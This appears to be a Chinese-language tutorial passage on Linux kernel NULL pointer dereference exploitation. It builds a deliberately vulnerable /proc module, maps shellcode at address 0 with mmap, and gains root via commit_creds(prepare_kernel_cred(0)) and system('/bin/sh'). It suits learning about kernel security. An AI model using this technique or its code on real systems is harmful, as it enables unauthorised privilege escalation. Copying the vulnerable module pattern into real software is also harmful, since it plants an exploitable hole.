do_exit(SIGKILL);
********
do_sigbus:
up_read(&mm->mmap_sem);
/*发送一个 SIGSEGV 信号(或者返回一个错误码终止程序处理)并杀死进程*/
if (!(error_code & 4))
goto no_context;
/* 把线性地址当做系统调用的参数(错误的系统调用参数)引起异常 */
if (is_prefetch(regs, address, error_code))
return;
tsk->thread.cr2 = address;
tsk->thread.error_code = error_code;
tsk->thread.trap_no = 14;
force_sig_info_fault(SIGBUS, BUS_ADRERR, address, tsk);
}
从上面的程序代码可知,系统内核是如何处理一个 NULL pointer 引用即函数把 CPU 寄 存器和内核态堆栈的全部转储打印到控制台,并输出到一个系统消息缓冲区,当前进程 eip 停止在 0x0 处, 打印 OOPS 信息,然后宕机。既然发生 OOPS 的时候 eip 停留在内存 0x0 地 址上,则黑客只需要精心构造一个 shellcode 放置在内存 0 地址上,并且促使内核运行此 shellcode 即可实现他们的目的如权限提升等。
实例分析
下面我们在 /proc 文件系统中使用 create_proc_entry 函数创建一个虚拟文件
/proc/bug,此函数可以接收一个文件名、一组权限和这个文件在 /proc 文件系统中出现的
位置。create_proc_entry 的返回值是一个 proc_dir_entry 指针(或者为 NULL,说明在
create 时发生了错误),然后对返回的指针来配置为对该文件执行写操作时应该调用的函数
write_proc,代码如下:
void (* my_funptr )( void ); //定义一个未初始化的 NULL 指针函数
int bug_write ( struct file *file ,const char *buf ,unsigned long len) {
my_funptr (); //调用 NULL 指针函数,执行 NULL 地址
return len;
}
int exploit_init ( void ) {
struct proc_dir_entry *ptr = create_proc_entry (" bug ", 0666 , 0);
ptr-> write_proc = bug_write ; //使用 write_proc 命令指定对此文件进行写
操作的函数
return 0;
}
int exploit_exit(void){
printk(KERN_EMERG “exploit exit\n”);
}
module_init(exploit_init);
module_exit(exploit_exit);
上面的程序编译后,生成 exploit.ko 文件,执行命令 insmod exploit.ko 加载此模
块,然后在/proc/bug 文件内写入 foo 时,将打印如下错误信息:

由上面的程序演示得知,只要我们能够在EIP地址处,精心构造一个shellcode,即可使 其执行此shellcode,如修改当前进程current的uid, gid字段使其变为0,从而使当前进程 获得root权限,然后在系统调用完成返回用户空间的时候执行“system ("/ bin/sh")”命 令等。现在的问题是如何使内核运行用户态的代码即我们构造的shellcode呢。Linux系统提 供了一个系统调用mmap,利用此函数可以通过建立匿名映射,并配合MAP_FIXED标志将用户 空间代码映射到内存NULL地址。采用匿名映射的主要原因是,可以有效避免文件的创建及打 开而引发的Oops. 映射代码如下:
mmap (0, 4096 , PROT_READ | PROT_WRITE | PROT_EXEC ,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 注意:flags字段需要设置MAP_ANONYMOUS属性,不然系统就要根据fd来获得文件file指针。 然后将进行构造好的shellcode拷贝到此区域即可,执行如下命令:memcpy (0, shellcode , sizeof ( shellcode ));最后调用open函数打开文件/proc/bug,然后执行 write(fd,”foo”,3)命令,即会跳转到shellcode地址处,执行shellcode机器码。好了, 现在我们只需要构造一个具有获取root权限的shellcode即可,Linux下获取root权限的 shellcode构造方式很多,这里只简单给出一种方法,即通过调用commit_creds
( prepare_kernel_cred (0))函数 ,将root权限交给当前进程。最简单的方式即通过硬编码:
$ grep _cred / proc / kallsyms来获取此函数在内核中的地址,但这种方法兼容性不好。
获取到它们在内核中的地址后,即可通过编译此汇编代码然后执行objdunp命令,获取
其对应的机器码,即shellcode值。假设汇编代码为:
xor %eax , %eax # %eax := 0
call 0 xc104800f # prepare_kernel_cred call 0 xc1048177 # commit_creds
ret
执行命令“gcc -o shellcode shellcode.s -nostdlib -Ttext =0”即可编译此汇编程 序,然后执行命令“objdump -d shellcode”获取shellcode. 故,此时系统jmp到此位置, 然后执行此shellcode机器码即实现了普通权限向root权限的转变,此时即可在系统调用完 成返回用户空间的时候执行“system(“/bin/sh”)”等操作了。 |